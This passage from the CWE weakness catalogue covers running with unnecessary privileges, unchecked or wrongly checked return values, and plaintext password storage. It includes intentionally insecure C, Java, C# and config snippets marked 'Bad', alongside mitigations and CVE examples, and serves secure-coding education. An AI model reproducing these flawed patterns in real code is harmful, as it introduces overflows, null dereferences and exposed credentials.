Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

**Example 3:**

This application intends to use a user's location to determine the timezone the user is in:

*Example Language: Java*

*(Bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
setTimeZone(userCurrLocation);
```

This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.

**Example 4:**

This code uses location to determine the user's current US State location.

First the application must declare that it requires the `ACCESS_FINE_LOCATION` permission in the application's manifest.xml:

*Example Language: XML*

*(Bad)*

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to `getLastLocation()` will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

*Example Language: Java*

*(Bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
```

```
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS\_FINE\_LOCATION permission, as the ACCESS\_COARSE\_LOCATION permission will be sufficient to identify which US state the user is in.

### Observed Examples

Reference	Description
<b>CVE-2007-4217</b>	FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4217">https://www.cve.org/CVERecord?id=CVE-2007-4217</a>
<b>CVE-2008-1877</b>	Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1877">https://www.cve.org/CVERecord?id=CVE-2008-1877</a>
<b>CVE-2007-5159</b>	OS incorrectly installs a program with setuid privileges, allowing users to gain privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2007-5159">https://www.cve.org/CVERecord?id=CVE-2007-5159</a>
<b>CVE-2008-4638</b>	Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209). <a href="https://www.cve.org/CVERecord?id=CVE-2008-4638">https://www.cve.org/CVERecord?id=CVE-2008-4638</a>
<b>CVE-2008-0162</b>	Program does not drop privileges before calling another program, allowing code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0162">https://www.cve.org/CVERecord?id=CVE-2008-0162</a>
<b>CVE-2008-0368</b>	setuid root program allows creation of arbitrary files through command line argument. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0368">https://www.cve.org/CVERecord?id=CVE-2008-0368</a>
<b>CVE-2007-3931</b>	Installation script installs some programs as setuid when they shouldn't be. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3931">https://www.cve.org/CVERecord?id=CVE-2007-3931</a>
<b>CVE-2020-3812</b>	mail program runs as root but does not drop its privileges before attempting to access a file. Attacker can use a symlink from their home directory to a directory only readable by root, then determine whether the file exists based on the response. <a href="https://www.cve.org/CVERecord?id=CVE-2020-3812">https://www.cve.org/CVERecord?id=CVE-2020-3812</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	2105
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	2146
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	2151
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2162
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	2165
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2179

### Notes

#### Relationship



There is a close association with CWE-653 (Insufficient Separation of Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible.

### Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

### Maintenance

The Taxonomy\_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Privilege Management
The CERT Oracle Secure Coding Standard for Java (2011)	SER09-J		Minimize privileges before deserializing from a privilege context
ISA/IEC 62443	Part 4-1		Req SD-4
ISA/IEC 62443	Part 4-2		Req 4.4

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
69	Target Programs with Elevated Privileges
104	Cross Zone Scripting
470	Expanding Control over the Operating System from the Database

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-199]NIST. "Federal Desktop Core Configuration". < <http://nvd.nist.gov/fdcc/index.cfm> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-252: Unchecked Return Value

**Weakness ID** : 252  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

### Extended Description

Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the product is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1460
PeerOf		273	Improper Check for Dropped Privileges	626
CanPrecede		476	NULL Pointer Dereference	1070

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1460

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		389	Error Conditions, Return Values, Status Codes	2115

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Availability	Unexpected State	
Integrity	DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	<i>An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.</i>	

## Potential Mitigations

### Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

*Effectiveness = High*

*Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.*

### Phase: Implementation

Ensure that you account for all possible return values from the function.

### Phase: Implementation

When designing a function, make sure you return a value or throw an exception in case of an error.

## Demonstrative Examples

### Example 1:

Consider the following code segment:

*Example Language: C*

*(Bad)*

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when `fgets()` returns, `buf` will contain a null-terminated string of length 9 or less. But if an I/O error occurs, `fgets()` will not null-terminate `buf`. Furthermore, if the end of the file is reached before any characters are read, `fgets()` returns without writing anything to `buf`. In both of these situations, `fgets()` signals that something unusual has happened by returning `NULL`, but in this code, the warning will not be noticed. The lack of a null terminator in `buf` can result in a buffer overflow in the subsequent call to `strcpy()`.

### Example 2:

In the following example, it is possible to request that `memcpy` move a much larger segment of memory than assumed:

*Example Language: C*

*(Bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If `returnChunkSize()` happens to encounter an error it will return `-1`. Notice that the return value is not checked before the `memcpy` operation (CWE-252), so `-1` can be passed as the size argument to `memcpy()` (CWE-805). Because `memcpy()` assumes that the value is unsigned, it will be

interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

### Example 3:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by `malloc()`.

*Example Language: C*

*(Bad)*

```
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

- Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
- It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
- The programmer has lost the opportunity to record diagnostic information. Did the call to `malloc()` fail because `req_size` was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

### Example 4:

The following examples read a file into a byte array.

*Example Language: C#*

*(Bad)*

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext(); i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
    sr.Read(byteArray,0,1024);//the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}
```

*Example Language: Java*

*(Bad)*

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
}
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from `Read()`. If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

### Example 5:

The following code does not check to see if the string returned by `getParameter()` is null before calling the member function `compareTo()`, potentially causing a NULL dereference.

Example Language: Java

(Bad)

```
String itemName = request.getParameter(ITEM_NAME);  
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {  
    ...  
}  
...
```

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

Example Language: Java

(Bad)

```
String itemName = request.Item(ITEM_NAME);  
if (itemName.Equals(IMPORTANT_ITEM)) {  
    ...  
}  
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

#### Example 6:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Example Language: Java

(Bad)

```
System.clearProperty("os.name");  
...  
String os = System.getProperty("os.name");  
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

#### Example 7:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Example Language: C#

(Bad)

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)  
Dim MyArray(50) As Byte  
MyFile.Read(MyArray, 0, 50)  
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

#### Example 8:

It is not uncommon for Java programmers to misunderstand `read()` and related methods that are part of many `java.io` classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from `read()` and other IO methods to ensure that they receive the amount of data they expect.

### Example 9:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(Bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to `gethostbyaddr()` will return `NULL`. Since the code does not check the return value from `gethostbyaddr` (CWE-252), a `NULL` pointer dereference (CWE-476) would then occur in the call to `strcpy()`.

Note that this code is also vulnerable to a buffer overflow (CWE-119).

### Example 10:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C

(Bad)

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C

(Good)

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
}
```



```
return pthread_mutex_unlock(mutex);
}
```

### Observed Examples

Reference	Description
<b>CVE-2020-17533</b>	Chain: unchecked return value (CWE-252) of some functions for policy enforcement leads to authorization bypass (CWE-862) <a href="https://www.cve.org/CVERecord?id=CVE-2020-17533">https://www.cve.org/CVERecord?id=CVE-2020-17533</a>
<b>CVE-2020-6078</b>	Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476) <a href="https://www.cve.org/CVERecord?id=CVE-2020-6078">https://www.cve.org/CVERecord?id=CVE-2020-6078</a>
<b>CVE-2019-15900</b>	Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863). <a href="https://www.cve.org/CVERecord?id=CVE-2019-15900">https://www.cve.org/CVERecord?id=CVE-2019-15900</a>
<b>CVE-2007-3798</b>	Unchecked return value leads to resultant integer overflow and code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3798">https://www.cve.org/CVERecord?id=CVE-2007-3798</a>
<b>CVE-2006-4447</b>	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4447">https://www.cve.org/CVERecord?id=CVE-2006-4447</a>
<b>CVE-2006-2916</b>	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2916">https://www.cve.org/CVERecord?id=CVE-2006-2916</a>
<b>CVE-2008-5183</b>	chain: unchecked return value can lead to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2008-5183">https://www.cve.org/CVERecord?id=CVE-2008-5183</a>
<b>CVE-2010-0211</b>	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824). <a href="https://www.cve.org/CVERecord?id=CVE-2010-0211">https://www.cve.org/CVERecord?id=CVE-2010-0211</a>
<b>CVE-2017-6964</b>	Linux-based device mapper encryption program does not check the return value of setuid and setgid allowing attackers to execute code with unintended privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2017-6964">https://www.cve.org/CVERecord?id=CVE-2017-6964</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	2105
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	2131
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	2156
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	V	884	CWE Cross-section	884	2327

Nature	Type	ID	Name	V	Page
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	2238
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2254
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2256
MemberOf	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Unchecked Return Value
CLASP			Ignored function return value
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
CERT C Secure Coding	ERR33-C	Imprecise	Detect and handle standard library errors
CERT C Secure Coding	POS54-C	Imprecise	Detect and handle POSIX library errors
The CERT Oracle Secure Coding Standard for Java (2011)	EXP00-J		Do not ignore values returned by methods
SEI CERT Perl Coding Standard	EXP32-PL	Exact	Do not ignore function return values
Software Fault Patterns	SFP4		Unchecked Status Condition
OMG ASCSM	ASCSM-CWE-252-resource		
OMG ASCRM	ASCRM-CWE-252-data		
OMG ASCRM	ASCRM-CWE-252-resource		

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

## CWE-253: Incorrect Check of Function Return Value

**Weakness ID** : 253

**Structure** : Simple

**Abstraction** : Base

### Description

The product incorrectly checks a return value from a function, which prevents it from detecting errors or exceptional conditions.

### Extended Description

Important and common functions will return some value about the success of its actions. This will alert the program whether or not to handle any errors caused by that function.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1460
ChildOf		573	Improper Following of Specification by Caller	1222

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		389	Error Conditions, Return Values, Status Codes	2115

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Availability	Unexpected State	
Integrity	DoS: Crash, Exit, or Restart	
<i>An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.</i>		

### Potential Mitigations

**Phase:** Architecture and Design

*Strategy = Language Selection*

Use a language or compiler that uses exceptions and requires the catching of those exceptions.

### Phase: Implementation

Properly check all functions which return a value.

### Phase: Implementation

When designing any function make sure you return a value or throw an exception in case of an error.

## Demonstrative Examples

### Example 1:

This code attempts to allocate memory for 4 integers and checks if the allocation succeeds.

Example Language: C

(Bad)

```
tmp = malloc(sizeof(int) * 4);
if (tmp < 0 ) {
    perror("Failure");
    //should have checked if the call returned 0
}
```

The code assumes that only a negative return value would indicate an error, but malloc() may return a null pointer when there is an error. The value of tmp could then be equal to 0, and the error would be missed.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2254
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2256

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Misinterpreted function return value
Software Fault Patterns	SFP4		Unchecked Status Condition
CERT C Secure Coding	ERR33-C	Imprecise	Detect and handle standard library errors
CERT C Secure Coding	POS54-C	Imprecise	Detect and handle POSIX library errors

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-256: Plaintext Storage of a Password

Weakness ID : 256

**Structure** : Simple  
**Abstraction** : Base

## Description

Storing a password in plaintext may result in a system compromise.

## Extended Description

Password management issues occur when a password is stored in plaintext in an application's properties, configuration file, or memory. Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource. In some contexts, even storage of a plaintext password in memory is considered a security risk if the password is not cleared immediately after it is used.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		522	Insufficiently Protected Credentials	1157

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107

## Weakness Ordinalities

**Primary** :

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

## Potential Mitigations

### Phase: Architecture and Design

Avoid storing passwords in easily accessible locations.

### Phase: Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

A programmer might attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password because the encoding can be detected and decoded easily.

*Effectiveness = None*

## Demonstrative Examples

### Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

*Example Language: Java*

*(Bad)*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

### Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

*Example Language: Java*

*(Bad)*

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

### Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

*Example Language: Java*

*(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

*Example Language: ASP.NET*

*(Bad)*

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```



Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

#### Example 4:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product stored a password in plaintext.

#### Observed Examples

Reference	Description
<b>CVE-2022-30275</b>	Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30275">https://www.cve.org/CVERecord?id=CVE-2022-30275</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	2106
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2183
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2229
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management
Software Fault Patterns	SFP23		Exposed Data

#### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

